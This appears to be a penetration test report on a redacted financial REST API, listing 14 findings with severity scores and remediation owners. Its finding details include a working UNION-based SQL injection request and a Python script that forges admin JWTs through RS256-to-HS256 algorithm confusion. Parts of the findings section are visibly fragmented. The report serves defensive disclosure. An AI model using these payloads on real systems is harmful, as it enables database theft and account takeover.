Black-box and grey-box security assessment of the [REDACTED] v3.2 REST API surface, authentication infrastructure, and administrative control plane. Conducted under authorised engagement agreement ref. ENG-2025-0347.
Plaidnox InfoSec conducted an authorised penetration test of the [REDACTED] API v3.2 on behalf of [REDACTED] between January 6 and January 17, 2025. The engagement encompassed a full black-box reconnaissance phase followed by grey-box authenticated testing of the REST API surface, OAuth 2.0 authentication layer, administrative control plane, and associated file-handling infrastructure.
The assessment identified 14 vulnerabilities across five severity tiers. Four findings are rated Critical and represent immediate risk to customer data confidentiality and platform integrity. An unauthenticated SQL injection vulnerability in the transaction search endpoint allows full database extraction without valid credentials, representing the most severe finding of this engagement. Two authentication bypass conditions were identified that together allow an attacker to escalate from a standard user account to an administrative session without knowledge of any administrator credentials.
Immediate remediation is required for all Critical and High findings prior to the next production deployment. Plaidnox recommends a follow-up verification assessment within 60 days of remediation to confirm resolution.
The assessment followed the OWASP Testing Guide v4.2 and OWASP API Security Top 10 (2023) as the primary methodology framework, supplemented by PTES (Penetration Testing Execution Standard) for reconnaissance and exploitation phases. CVSS v3.1 was used for vulnerability scoring. Testing was conducted manually with tooling support from Burp Suite Professional, sqlmap, and custom scripts developed by the Plaidnox team.
All testing activities were performed exclusively within the agreed scope boundaries. No production systems were accessed. A full activity log is available upon request under the engagement agreement.
| ID | Title | Severity | CVSS | OWASP |
|---|---|---|---|---|
| PLX-001 | Unauthenticated SQL Injection in Transaction Search | Critical | 9.8 | API1:2023 |
| PLX-002 | JWT Algorithm Confusion — RS256 to HS256 Downgrade | Critical | 9.1 | API2:2023 |
| PLX-003 | IDOR on Account Balance and Transaction History | Critical | 8.6 | API1:2023 |
| PLX-004 | Admin Role Assignment via Mass Assignment Vulnerability | Critical | 8.8 | API6:2023 |
| PLX-005 | Stored XSS in User Profile Display Name | High | 7.4 | API8:2023 |
| PLX-006 | Missing Rate Limiting on OTP Verification Endpoint | High | 7.5 | API4:2023 |
| PLX-007 | Sensitive Data Exposure in API Error Responses | High | 6.5 | API3:2023 |
| PLX-008 | Insecure Direct Object Reference on Document Export | Medium | 5.3 | API1:2023 |
| PLX-009 | CORS Misconfiguration Allows Arbitrary Origin | Medium | 5.4 | API7:2023 |
| PLX-010 | Password Policy Does Not Enforce Minimum Complexity | Medium | 4.3 | API2:2023 |
| PLX-011 | Verbose Stack Traces Exposed in Production Responses | Medium | 4.0 | API7:2023 |
| PLX-012 | Session Token Not Invalidated on Logout | Low | 3.1 | API2:2023 |
| PLX-013 | Missing HSTS Header on All API Endpoints | Low | 3.1 | API7:2023 |
| PLX-014 | Internal IP Address Disclosed in X-Forwarded-For Header | Info | 0.0 | API7:2023 |
The following section documents each finding in full detail, including reproduction steps, CVSS breakdown, and evidence of exploitability. All findings were verified in the staging environment under the authorised engagement.
GET /api/v3/transactions/search endpoint accepts a query
parameter that is passed unsanitised into a raw SQL query. No authentication is required
to reach this endpoint. The parameter is vulnerable to error-based and union-based SQL
injection, enabling full extraction of the underlying PostgreSQL database without credentials.
GET /api/v3/transactions/search?query=1'+UNION+SELECT+version(),null,null,null-- HTTP/1.1 Host: api.staging.reducted.io # Response (truncated) { "results": [ { "id": "PostgreSQL 14.5 on x86_64-pc-linux-gnu..." } ] }
pg_read_file privileges enabled, potentially enabling remote code execution.
This vulnerability constitutes a critical data breach risk and likely violates
PCI-DSS Requirement 6.4 and applicable data protection obligations.
/api/v3/transactions/* routes immediately, regardless of SQL injection status.python.lang.security.audit.sqli ruleset).alg header set to HS256 and signing it with the server's
public RSA key (which is publicly available at /auth/.well-known/jwks.json)
as the HMAC secret, an attacker can forge valid-looking tokens for any user including
administrators.
import jwt, requests # Fetch public key from JWKS endpoint pub_key = requests.get("https://api.staging.reducted.io/auth/.well-known/jwks.json") .json()["keys"][0]["x5c"][0] # Forge token using public key as HS256 secret forged = jwt.encode( {"sub": "admin_user_id", "role": "ADMIN", "exp": 9999999999}, pub_key, algorithm="HS256" ) # Result: forged token accepted by the API as a valid admin session
POST /api/v3/auth/verify-otp endpoint, used for two-factor authentication
verification, applies no rate limiting, account lockout, or attempt throttling.
A 6-digit numeric OTP has 1,000,000 possible values. During testing, 10,000 sequential
requests were made against a single OTP challenge without any lockout or throttling
being triggered. An OTP with a 5-minute validity window can be brute-forced within
the window by an attacker with adequate network bandwidth.
/auth/verify-otp path.The vulnerabilities identified in this assessment collectively represent a severe risk to [REDACTED]'s customer data, regulatory standing, and operational continuity. The following summarises the business-level impact categories.
Remediation is the structured process of eliminating or sufficiently mitigating each identified vulnerability so that the associated risk falls within the organisation's accepted risk tolerance. This section defines what to fix, how to fix it, and who owns it — mapped to the severity tier of each finding.
Effective remediation is not a one-time event. Each fix should be implemented in a development branch, code-reviewed by a peer, deployed to staging, and verified against the original reproduction steps before being promoted to production. Plaidnox recommends scheduling a remediation verification assessment once all Critical and High findings are addressed — this is a targeted retest of the specific attack paths, not a full engagement.
| ID | Finding | Remediation Action | Owner |
|---|---|---|---|
| PLX-001 | SQL Injection — Transaction Search | Replace raw SQL concatenation with parameterised queries or ORM prepared statements. Add authentication middleware to all /api/v3/transactions/* routes immediately. |
Backend Team |
| PLX-002 | JWT Algorithm Confusion | Enforce RS256-only algorithm validation — never derive the accepted algorithm from the token header. Rotate all active sessions and revoke existing tokens post-fix. | Auth Team |
| PLX-003 | IDOR — Account Balance | Add server-side ownership validation on every resource-level read and write operation. Verify that account_id in the request matches the authenticated user's identity. |
Backend Team |
| PLX-004 | Mass Assignment — Admin Role | Implement an explicit allowlist of accepted fields on every user-update endpoint. The role, is_admin, and privilege-related fields must be blocked from client input entirely. |
Backend Team |
| ID | Finding | Remediation Action | Owner |
|---|---|---|---|
| PLX-005 | Stored XSS — Profile Display Name | Apply context-aware output encoding (HTML entity encoding) on all user-controlled fields rendered in an HTML context. Do not rely on input sanitisation alone — encode at render time. | Frontend Team |
| PLX-006 | No Rate Limiting — OTP Endpoint | Implement a 5-attempt lockout per OTP challenge with automatic invalidation. Apply IP-level rate limiting at the API gateway — 10 requests/minute per IP to /auth/verify-otp. |
Auth Team |
| PLX-007 | Sensitive Data in Error Responses | Standardise all API error responses to generic, non-descriptive messages (e.g., "Request failed"). Move verbose error detail, stack traces, and internal paths to server-side logs only. | Backend Team |
| ID | Finding | Remediation Action | Owner |
|---|---|---|---|
| PLX-008 | IDOR — Document Export | Validate document ownership before serving export requests. Implement indirect object references (e.g., UUIDs mapped server-side) rather than sequential integer IDs. | Backend Team |
| PLX-009 | CORS Misconfiguration | Replace wildcard or dynamic origin reflection with an explicit allowlist of trusted origins. Deny credentials on cross-origin requests that do not originate from an approved domain. | Infra / DevOps |
| PLX-010 | Weak Password Policy | Enforce a minimum of 12 characters with at least one uppercase, one number, and one symbol. Integrate with HaveIBeenPwned API to reject known-breached passwords at registration. | Auth Team |
| PLX-011 | Verbose Stack Traces in Production | Set NODE_ENV=production (or equivalent) in all production deployments. Confirm no debug middleware or verbose error handlers are active outside of local development. |
Backend Team |
| ID | Finding | Remediation Action | Owner |
|---|---|---|---|
| PLX-012 | Session Token Not Invalidated on Logout | Maintain a server-side token denylist or use short-lived JWTs with refresh token rotation. On logout, add the token to the denylist and clear all client-side storage. | Auth Team |
| PLX-013 | Missing HSTS Header | Add Strict-Transport-Security: max-age=31536000; includeSubDomains to all API responses. Configure at the load balancer or reverse proxy level for consistency. |
Infra / DevOps |
| PLX-014 | Internal IP in X-Forwarded-For | Configure the reverse proxy to strip or rewrite the X-Forwarded-For header before forwarding requests downstream. Internal IP ranges must not be exposed to clients. |
Infra / DevOps |